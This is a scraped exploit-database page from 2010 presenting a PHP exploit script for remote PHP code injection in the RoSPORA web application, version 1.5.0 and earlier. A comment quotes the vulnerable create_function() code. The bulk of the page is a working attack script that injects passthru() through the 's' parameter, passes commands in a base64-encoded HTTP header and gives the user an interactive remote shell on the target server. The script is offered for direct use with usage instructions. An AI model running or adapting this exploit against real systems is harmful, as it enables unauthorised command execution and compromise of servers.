Home / os / win7

[webapps / 0day] - RoSPORA <= 1.5.0 Remote PHP Code Injec

Posted on 28 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>RoSPORA &lt;= 1.5.0 Remote PHP Code Injection | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='RoSPORA &lt;= 1.5.0 Remote PHP Code Injection by EgiX in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>==========================================
RoSPORA &lt;= 1.5.0 Remote PHP Code Injection
==========================================

&lt;?php
 
/*
    --------------------------------------------------
    RoSPORA &lt;= 1.5.0 Remote PHP Code Injection Exploit
    --------------------------------------------------
     
    author...: EgiX
    mail.....: n0b0d13s[at]gmail[dot]com
    link.....: http://code.google.com/p/rospora/
     
    This PoC was written for educational purpose. Use it at your own risk.
    Author will be not responsible for any damage.
     
    [-] vulnerable code in /index.php
     
    667.    if (!$sort = &amp;$_GET[&#039;s&#039;]) $sort=0;
    668.    if (!$flag = &amp;$_GET[&#039;f&#039;]) $flag=0;
    669.    if ($flag==0)   {       $flag=1; $sort_type=&#039;&lt;&#039;; }
    670.                    else    {       $flag=0; $sort_type=&#039;&gt;&#039;; }
    671.    $link=$_SERVER[&#039;PHP_SELF&#039;].&quot;?f=&quot;.$flag.&quot;&amp;s=&quot;;
    672.   
    673.    if (!empty($pl_array))
    674.            {
    675.            usort($pl_array, create_function(&#039;$a, $b&#039;, &#039;if ( $a[&#039;.$sort.&#039;] == $b[&#039;.$sort.&#039;] ) return 0; if ( $a[&#039;.$sort.&#039;] &#039;.$sort_type.&#039; $b[&#039;.$sort.&#039;] ) return -1; return 1;&#039;));
    676.            }
     
    Input parameter passed through $_GET[&#039;s&#039;] isn&#039;t properly sanitised before being used in a call to
    &quot;create_function()&quot; at line 675. This can be exploited to inject and execute arbitrary PHP code.
 
*/
 
error_reporting(0);
set_time_limit(0);
ini_set(&quot;default_socket_timeout&quot;, 5);
 
function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die(&quot;
[-] No response from {$host}:80
&quot;);
 
    fputs($sock, $packet);
    return stream_get_contents($sock);
}
 
print &quot;
+------------------------------------------------------------+&quot;;
print &quot;
| RoSPORA &lt;= 1.5.0 Remote PHP Code Injection Exploit by EgiX |&quot;;
print &quot;
+------------------------------------------------------------+
&quot;;
 
if ($argc &lt; 3)
{
    print &quot;
Usage......: php $argv[0] host path
&quot;;
    print &quot;
Example....: php $argv[0] localhost /&quot;;
    print &quot;
Example....: php $argv[0] localhost /rospora/
&quot;;
    die();
}
 
$host = $argv[1];
$path = $argv[2];
 
$code    = &quot;0]);}error_reporting(0);print(_code_);passthru(base64_decode($_SERVER[HTTP_CMD]));die;%%23&quot;;
$packet  = &quot;GET {$path}?s={$code} HTTP/1.0
&quot;;
$packet .= &quot;Host: {$host}
&quot;;
$packet .= &quot;Cmd: %s
&quot;;
$packet .= &quot;Connection: close

&quot;;
 
while(1)
{
    print &quot;
rospora-shell# &quot;;
    if (($cmd = trim(fgets(STDIN))) == &quot;exit&quot;) break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match(&quot;/_code_/&quot;, $response) ? print array_pop(explode(&quot;_code_&quot;, $response)) : die(&quot;
[-] Exploit failed...
&quot;);
}
 
?&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-28]</pre></body></html>

 

TOP

Malware :

Exploits :